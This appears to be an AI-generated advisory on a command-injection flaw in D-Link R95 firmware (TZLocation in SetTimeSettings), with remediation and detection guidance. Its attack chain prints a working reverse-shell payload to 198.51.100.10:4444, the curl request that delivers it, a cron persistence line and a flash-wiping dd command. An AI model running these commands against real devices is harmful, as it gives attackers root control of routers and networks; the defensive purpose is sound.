CVE-2026-138227 — D-Link R95 — CWE-77 · CWE-78
A vulnerability was found in D-Link R95 1.04B04Beta. This affects the function SetTimeSettings of the file /bin/ssi of the component DHMAPI. Performing a manipulation of the argument TZLocation results in os command injection. Remote exploitation of the attack is possible. The exploit has been made public and could be used.
A vulnerability was found in D-Link R95 1.04B04Beta. This affects the function SetTimeSettings of the file /bin/ssi of the component DHMAPI. Performing a manipulation of the argument TZLocation results in os command injection. Remote exploitation of the attack is possible. The exploit has been made public and could be used.
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| CVE | CVE‑2026‑138227 |
| Vendor / Product | D‑Link R95 firmware 1.04B04Beta |
| Component | DHMAPI library, function SetTimeSettings in /bin/ssi |
| Vulnerable Parameter | TZLocation (time‑zone location string) |
| CWE(s) | CWE‑78: OS Command Injection – the application concatenates untrusted input into a shell command without sanitisation. <br>CWE‑77: Improper Neutralization of Special Elements used in a Command (a sub‑type of CWE‑78). |
| CVSS v4.0 Vector | AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P <br>*Network* attack, *Low* complexity, *No* privileges, *No* user interaction, *High* impact on Confidentiality, Integrity, Availability, *High* impact on Sub‑system Confidentiality/Integrity/Availability, *Exploitable* (Proof‑of‑Concept public). |
| Root cause | The SetTimeSettings routine builds a shell command that configures the system time zone, e.g. tzsetup -l "<TZLocation>". The value of TZLocation is taken directly from the HTTP request body/URL query and is inserted into the command string without any of the following protections: <br>1. Input validation (whitelisting of allowed characters). <br>2. Escaping of shell metacharacters. <br>3. Privilege separation – the CGI binary runs with root privileges (typical for embedded router firmware). <br>Consequently an attacker can inject arbitrary shell commands that are executed with root privileges on the device. |
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. Where the exact URI or parameter name is not disclosed in the public CVE text, the example is marked as illustrative and reflects the class of the vulnerability (an unauthenticated HTTP request that reaches the SetTimeSettings handler).
1. Discovery & Reconnaissance
| Phase | Activities | Expected Findings |
|---|---|---|
| Fingerprinting | • Scan the target network for open TCP ports typical of D‑Link routers (e.g., 80/443, 8080). <br>• Retrieve the HTTP banner or /cgi-bin/status page that often contains the firmware version string. | The page returns D‑Link R95 – Firmware 1.04B04Beta. |
| Service Enumeration | • Access the web UI and capture the HTML/JS. Look for <form> elements that submit to /cgi-bin/ssi or similar. <br>• Use a tool like Burp Suite or OWASP ZAP to intercept the request that updates the time‑zone. | Request pattern (illustrative): POST /cgi-bin/ssi?cmd=SetTimeSettings HTTP/1.1 with body TZLocation=Europe%2FLondon. |
| Vulnerability Confirmation | • Send a benign request with a harmless value and observe the device’s response (e.g., TZLocation=UTC). <br>• Verify that the response contains “Time zone set to UTC”. | Confirms that the endpoint processes the TZLocation parameter. |
2. Exploitation
Goal: Execute an arbitrary command (e.g., create a reverse shell) with root privileges.
2.1 Crafting the payload
The vulnerable code likely does something akin to:
char cmd[256];
snprintf(cmd, sizeof(cmd), "tzsetup -l \"%s\"", tzLocation);
system(cmd);Because the string is placed inside double quotes, the attacker can break out of the quoting context and append a second command separated by a semicolon (;). The payload must be URL‑encoded.
Payload example (illustrative):
TZLocation=UTC";nc -e /bin/sh 198.51.100.10 4444;#UTC"closes the quoted argument.;starts a new command.nc -e /bin/sh 198.51.100.10 4444opens a reverse shell to the attacker’s listener.#comments out any trailing characters that the firmware might append.
2.2 Sending the request
# Attacker machine (listening for the reverse shell)
nc -lvkp 4444
# Exploit request (illustrative)
curl -sk -X POST "http://<target-ip>/cgi-bin/ssi?cmd=SetTimeSettings" \
-d "TZLocation=UTC%22%3Bnc%20-e%20%2Fbin%2Fsh%20198.51.100.10%204444%3B%23"Notes
-k skips TLS verification if HTTPS is used. PR:N) and requires no user interaction (UI:N). root on the embedded OS (common for D‑Link firmware).2.3 Expected outcome
If the device is reachable and the firewall permits outbound TCP, the attacker’s Netcat listener receives a shell prompt:
# id
uid=0(root) gid=0(root) groups=0(root)
#3. Post‑Exploitation
| Step | Action | Result |
|---|---|---|
| Persistence | Drop a cron job (@reboot /bin/sh -c "nc -e /bin/sh <attacker‑IP> 4444") or modify the startup script (/etc/rc.local). | The attacker regains access after reboot. |
| Privilege Escalation (if needed) | The shell is already root, so no further escalation is required. | |
| Lateral Movement | Use the compromised router as a pivot point (e.g., ssh into internal LAN hosts, sniff traffic, or perform ARP spoofing). | Expands the breach beyond the router. |
| Data Exfiltration / Manipulation | Access configuration files (/etc/config/*), capture DHCP leases, or modify DNS settings to redirect internal users to malicious sites. | Confidentiality breach, integrity compromise, possible further infection of internal clients. |
| Cleanup / Cover Tracks | Delete the injected cron entry, clear command history, and remove any uploaded binaries. | Reduces chance of detection. |
🌍 Real‑World Impact
| CIA | CVSS Impact | Practical Effect |
|---|---|---|
| Confidentiality (VC:H) | High | An attacker can read any file on the filesystem (e.g., /etc/passwd, VPN credentials, Wi‑Fi keys). |
| Integrity (VI:H) | High | The attacker can modify configuration, inject malicious DNS entries, or replace firmware images, leading to persistent compromise. |
| Availability (VA:H) | High | By executing destructive commands (e.g., reboot, dd if=/dev/zero of=/dev/mtd0), the attacker can render the router inoperable, causing a denial‑of‑service for the entire network. |
| Subsystem Impact (SC, SI, SA – all H) | The vulnerability resides in the system management subsystem (DHMAPI). Compromise of this subsystem gives the attacker full control over the device’s operating system, not just the web UI. |
Bottom‑line: An unauthenticated remote attacker can obtain root‑level RCE on the router, leading to total network compromise, credential theft, and potential pivoting into the internal environment.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to a firmware version ≥ 1.04B05 (or the first version released after 29‑Nov‑2026 that contains the fix). D‑Link’s security advisory (if any) will list the exact version. |
| Verify | After upgrade, confirm the firmware string no longer reports 1.04B04Beta. |
2. Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation |
|---|---|
| Input sanitisation at the edge | Deploy a Web Application Firewall (WAF) or ModSecurity rule that rejects any request to the vulnerable endpoint containing characters that are not allowed in a legitimate time‑zone identifier (letters, numbers, /, -, _). Example ModSecurity rule (illustrative): |
``apacheconf\nSecRule REQUEST_URI "@beginsWith /cgi-bin/ssi" "id:100001,phase:2,deny,log,msg:'Block potential TZLocation command injection',t:none,ctl:ruleEngine=On,chain"\nSecRule ARGS:TZLocation "!@rx ^[A-Za-z0-9_\\-\\/]+$" "t:none"\n` | |
| Network segmentation | Place the router management interface on a dedicated VLAN that is not reachable from the Internet (e.g., block inbound traffic on ports 80/443 from WAN). |
| Disable the vulnerable CGI | If the router’s UI allows it, disable the SetTimeSettings endpoint (often via a “disable remote management” toggle). This removes the attack surface at the cost of losing remote time‑zone configuration. |
| Restrict outbound connections | Prevent the router from initiating arbitrary outbound TCP connections (e.g., block nc`‑style traffic) using an upstream firewall. This limits the usefulness of a reverse‑shell payload. |
3. Detection
| Indicator | Where to Look | Example Log Entry |
|---|---|---|
| Unexpected command execution | System log (/var/log/messages, dmesg) | tzsetup: command not found or sh: 1: nc: not found followed by sh: 1: syntax error if injection fails. |
| Outbound connections to unknown IPs | Router’s firewall/NAT logs, NetFlow, or IDS | DENY OUTBOUND TCP src=192.168.1.1 dst=198.51.100.10 dport=4444 |
| HTTP request with suspicious characters | Web server access log (/var/log/httpd/access.log) | POST /cgi-bin/ssi?cmd=SetTimeSettings HTTP/1.1" 200 23 "-" "curl/7.68.0" payload: TZLocation=UTC%22%3Bnc%20-e%20%2Fbin%2Fsh%20198.51.100.10%204444%3B%23 |
| New cron entries or modified rc scripts | Filesystem integrity monitoring (e.g., Tripwire) | cron: /etc/cron.d/rce_job added |
| Unexpected processes | Process list (ps aux) | root 0 0.0 0.1 12345 678 ? Ss 12:34 /bin/sh -c nc -e /bin/sh 198.51.100.10 4444 |
Alerting – Configure SIEM rules to trigger on any of the above patterns, especially unauthenticated POST to /cgi-bin/ssi containing characters such as ;, |, ` `, or %22 (URL‑encoded "`).
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS Base Score | 10.0 (Critical) – network‑reachable, no authentication, low complexity, full impact. |
| Exploit Availability | Public PoC (E:P – Proof‑of‑Concept) – attackers can copy the payload verbatim. |
| CISA KEV | Not listed, but the absence of a KEV entry does not reduce risk; the vulnerability is already public. |
| Attack Surface | All devices running the vulnerable firmware and exposed to the Internet (or even internal LAN if remote management is enabled). |
| Potential Business Impact | Complete network outage, credential theft, lateral compromise of internal assets. |
Recommendation: Immediate – treat as a P1 (critical) issue. Deploy the vendor’s firmware patch within 24 hours for any internet‑facing devices. If patching cannot be performed within that window, apply the WAF/ModSecurity rule and network‑segmentation mitigations to block exploitation while a permanent fix is prepared. Continuous monitoring for the detection indicators listed above is mandatory.
[🤖 CVE Professor AI Security Engine]
FOFA Query